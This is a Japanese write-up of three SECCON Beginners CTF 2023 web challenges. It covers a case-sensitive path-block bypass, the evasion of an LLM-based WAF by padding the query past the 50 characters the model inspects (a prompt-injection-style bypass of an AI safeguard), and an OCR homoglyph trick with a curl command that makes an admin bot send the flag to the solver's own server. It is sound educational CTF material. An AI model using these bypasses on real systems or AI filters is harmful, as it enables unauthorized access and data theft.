SECCON Beginners CTF 2023 Writeup (WEB 3問)

### SECCON Beginners CTF 2023で解けたWEB問題のWriteupです。
1: Fobidden [beginner]
2: aiwaf [easy]
3: phisher2 [medium]
## 1: Fobidden
```js:index.js
var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});
```
/flagにアクセスすると```Forbidden :(```が返ってきます。
ブロックに引っ掛かるのは"flag"のみのため、/FLAGにアクセスすることでフラグをゲットできました。
```ctf4b{403_forbidden_403_forbidden_403}```
## 2: aiwaf
```python:app.py
import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8" />
    <title>亞空文庫</title>
</head>

<body>
    <h1>亞空文庫</h1>
    AIにセキュリティの物語を書いてもらいました。<br>
    内容は正しいかどうかわかりません。<br>
<ul>
    <li><a href="/?file=book0.txt">あ書</a></li>
    <li><a href="/?file=book1.txt">い書</a></li>
    <li><a href="/?file=book2.txt">う書</a></li>
    <!-- <li><a href="/?file=book3.txt">え書</a></li> -->
</ul>

※セキュリティのためAI-WAFを導入しています。<br>
© 2023 ももんがの書房
</body>

</html>
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか？
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)
```
ページを操作していくと、URLに?file=<ファイル名>を加えることで指定されたファイルの中身が見えていることが分かります。
```?file=../flag```を試すと```AI-WAFに検知されました```と表示されうまくいきません。

app.pyの中でAI-WAFに検知されましたのあたりのコードを確認するとChatGPTのAPIに以下の質問を行った結果がNoを含む回答の場合、フラグを返すことが分かりました。
```text:chatGPTへ渡される質問
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか？
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
```
{urllib.parse.unquote(request.query_string)[:50]}ではクエリ（？以降）の先頭50文字を取り出していることが分かるので意味のない値を50文字入れた後に&flag=../flagを渡してみます。
``` ?a=asdfghjklqwertyuiopzxcvbnmzxcvbnmasdfghjklqwert&file=../flag```でやってみると
```ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}```ゲットできました。

私は50文字の意味のない値を入れて解きましたが、作問者さんのWriteupでは、ChatGPTに新しい指示を渡す方法もあるようです。
[作問者さんのWriteUP](https://github.com/satoki/ctf4b_2023_satoki_writeups/tree/main/web/aiwaf)

## 3: phisher2
```python:app.py
import os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")
```
```python:admin.py
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None


def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text
```
渡されたページに記載されているコードの実行結果。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2959926/02e0d299-6fac-96c6-09af-411bed8d8182.png)

app.pyからコードを確認していきます。
* POSTで渡されたtextは、\<p style="font-size:30px">{text}\</p>が記載されたhtmlファイルとして保存される。
* admin.pyの関数であるshare2admin()にPOSTで渡されたtextと保存したファイルを特定するfileIdを渡している。

admin.pyのshare2adminからコードを確認します。
* openWebPage関数でapp.pyで保存されたwebページのスクリーンショットを取り、それをOCRして得た文字列をocr_textに入れている。
* ocr_textとinput_text(POSTで渡されたtext)をfind_url_in_text関数でurlの形式に当てはまる最初の文字列をそれぞれocr_urlとinput_urlの変数に入れている。
* ocr_urlがAPP_URLの場合input_URLに対してflagを含むリクエストを送っている。

渡されたページに記載されているコードの実行結果を確認します。
* Very good web...のメッセージが返ってきています。→ ocr_url(https:\//phisher2.beginners.seccon.games/foobar) はAPP_URLであると分かります。

以上のことから、**ocr_urlにhttps:\//phisher2.beginners.seccon.games/foobar、input_urlにflagを受け取る自身のサーバーのURLが入ることでflagを獲得できます。**

実現するためにOCRに注目します。
```ĥttps://phisher2.beginners.seccon.games/foobar https://flagを受け取る自身のサーバー/```
これをtextとしてPOSTすると、
OCRでは```ĥ```が```h```と認識されるため、ocr_urlは```https://phisher2.beginners.seccon.games/foobar```になります。
input_urlは```ĥ```のままurl部分を探すため、```https://flagを受け取る自身のサーバー/```となります。

```
curl -X POST -H "Content-Type: application/json" -d '{"text":"ĥttps://phisher2.beginners.seccon.games/foobar https://flagを受け取る自身のサーバー/"}' https://phisher2.beginners.seccon.games
```
を実行すると、flagを受け取る自身のサーバーに以下のようなリクエストが届きました。
```
"GET /?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1"
```
URLデコードを行うと```ctf4b{w451t4c4t154w?}```になりフラグをゲットできました。
[作問者さんのWriteUP](https://qiita.com/xryuseix/items/1c03bcb43eee608dcb59#web-phisher2-118solved-94pt)